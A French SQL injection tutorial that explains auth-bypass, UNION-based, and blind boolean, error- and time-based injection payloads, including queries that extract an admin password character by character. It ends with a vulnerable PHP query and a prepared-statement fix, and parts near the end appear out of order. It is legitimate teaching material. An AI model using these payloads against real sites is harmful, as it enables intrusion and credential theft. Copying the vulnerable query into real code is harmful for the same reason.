SQL (sigle de Structured Query Language, en français langage de requête structurée) est un langage informatique normalisé servant à exploiter des bases de données relationnelles. La partie langage de manipulation des données de SQL permet de rechercher, d'ajouter, de modifier ou de supprimer des données dans les bases de données relationnelles.
Source: Wikipedia
Un système de gestion de base de données (abr. SGBD) est un logiciel système servant à stocker, à manipuler ou gérer, et à partager des données dans une base de données, en garantissant la qualité, la pérennité et la confidentialité des informations, tout en cachant la complexité des opérations.
Source: Wikipedia
Un exemple de requête: SELECT username, password FROM users WHERE username = 'admin' LIMIT 1;
SELECT -> Selection une|plusieurs colonne(s).
FROM -> Selection un table.
WHERE -> Ajoute une condition (un filtre).
LIMIT -> Limite le nombre ligne de l'output.
Une SQLi est une attaque SQL qui va permettre à l'attaquant de : récupérer des informations sur le SGBD, exfiltrer de l'information, exfiltrer des fichiers, écrire des fichiers, DDOS...
Exemple basique de bypass d'authentification à l'aide d'injection SQL :
SELECT username, password FROM users WHERE username = 'admin';' AND password = 'random';
SELECT username, password FROM users WHERE username = '' OR 1=1 -- -' AND password = 'random';
SELECT username, password FROM users WHERE username = 'admin' AND password LIKE '%' -- -' AND password = 'random';
L'étape numéro une d'une injection SQL, comme toutes autres injections, est de trouver et comprendre son context. En SQL, les injections se feront principalement dans une string ou un int.
1. Injection au sein d'une string
Il faut sortir des quotes pour avoir une injection.
SELECT * FROM users WHERE username = '' OR 1=1 -- -'
2. Injection au sein d'un int (entier)
On peut directement injecter.
SELECT * FROM users WHERE id = -1 OR 1=1
En SQL, la clause UNION est utilisée pour joindre 2 requêtes l'une avec l'autre et avoir un seul résultat pour 2 requêtes du même type.
Exemple :
| username |
|---|
| Mark |
| Jacob |
+
| username |
|---|
| Jean |
| Paul |
->
| username |
|---|
| Mark |
| Jacob |
| Jean |
| Paul |
Les attaques UNION utilise simplement les caractéristiques citées ci-dessus, l'objectif est de faire apparaître, dans un résultat de recherche par exemple des informations supplémentaires.
Dans le cas précis ou le nombre de colonne utilisées par la requête est inférieur à celui dont vous avez besoin, vous pouvez simplement concaténer les colonnes entre elles pour n'en former qu'une seule.
La table information_schema, est utilisé pour récupérer les informations sur le SGBD tel que le nom d'une database ou d'une table, la liste des colonnes associés et leurs types... Ainsi qu'une multitude d'autres éléments que nous n'aborderons pas dans ce cours.
En utilisant la table information_schema, nous allons pouvoir retrouver des tables dont nous n'avons pas le nom, leurs composition... qui sont indispenssable lors d'une requête SQL.
Récupération des informations :
liste des tables -> SELECT table_name FROM information_schema.tables;
liste des colonne d'une table -> SELECT column_name FROM information_schema.columns WHERE table_name = 'users';
A l'inverse d'une attaque UNION based, une blind SQLi, comme son nom l'indique, ne va pas avoir d'output sur ses requêtes. Ainsi, se genre d'attaque se base sur des conditions (boolean) qui vont en fonction du résultat avoir un rendu différent. Il va donc être possible en testant élément par élement d'extraire des informations de la table.
Exemple : SELECT * FROM articles WHERE id = 1 AND SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1) = '3';
Si le premier caractère de ton mot de passe est X réponds moi oui sinon non.
x = a -> non.
x = b -> non.
...
x = S -> oui.
SELECT * FROM articles WHERE id = 1 AND SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1) = '4'; -> oui.
le content based utilise un résultat de la page différent en fonction du/des paramètre(s) utilisé(s) par l'utilisateur comme repère dans sa condition.
On pourrait prendre en exemple un site qui utilise un id pour charger une page, nous pourrions utiliser 1 pour true et 2 pour false et ainssi savoir si notre condition est bonne.
Site exemple : url
Petit tips : Si id=1 renvoie la même chose que id=(1), c'est que la page est probablement injectable ;)
Exemples :
SELECT * FROM articles WHERE id = (IF(SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1) = '3', 1, 2));
SELECT * FROM users WHERE username = 'admin' AND password LIKE '4%' -- -' AND password = 'random';
Challenge : Blind - Authentification
Bien sûr que non, dans le cas d'injection blind, il faut automatiser au maximum son exploitation à l'aide d'un script python par exemple.
Exemple de script :
Une SQLi Error Base est ni plus, ni moins, une Blind SQL injection avec pour {true-condition} un élément impossible. Exemple :
Si le premier caractère de ton mot de passe est X crash. Il suffit donc de faire un script qui vérifie les erreurs de la page. Exemple de payload : Challenge : Blind - Exfiltration De la même qu'une SQLi Error based, une SQLi Time based est ni plus, ni moins, une Blind SQL injection avec pour {true-condition} un sleep. Exemple :
Si le premier caractère de ton mot de passe est X sleep. Il suffit donc juste de faire un script qui prend compte le temps de chargement de la page. Exemple de payload : Challenge : Blind - Exfiltration Lors que vous effectuer une requête SQL avec un input utilisateur en PHP, il faut toujours "préparer" sa requête pour qu'elle soit chargé en mémoire, puis ajouter les variables par la suite. Ainsi, tous les caractères seront interprèté comme une string et non exécuté!
Mauvais exemple:
$response = $bdd->query("SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $_POST['password'] . "'");
Bon exemple:
$req = $bdd->prepare('UPDATE jeux_video SET prix = :nvprix, nbre_joueurs_max = :nv_nb_joueurs WHERE nom = :nom_jeu');
github.com
x = a -> OK.
x = b -> OK.
...
x = S -> Crash.
SELECT * FROM articles WHERE id = (IF(1=1, TO_CHAR(1/0), 1));
x = a -> OK.
x = b -> OK.
...
x = S -> Sleep.
SELECT * FROM articles WHERE id = (IF(1=1, SLEEP(2), 1));Comment sécuriser mon code ?
$req->execute(array(
'nvprix' => $nvprix,
'nv_nb_joueurs' => $nv_nb_joueurs,
'nom_jeu' => $nom_jeu
));
Aller plus loin...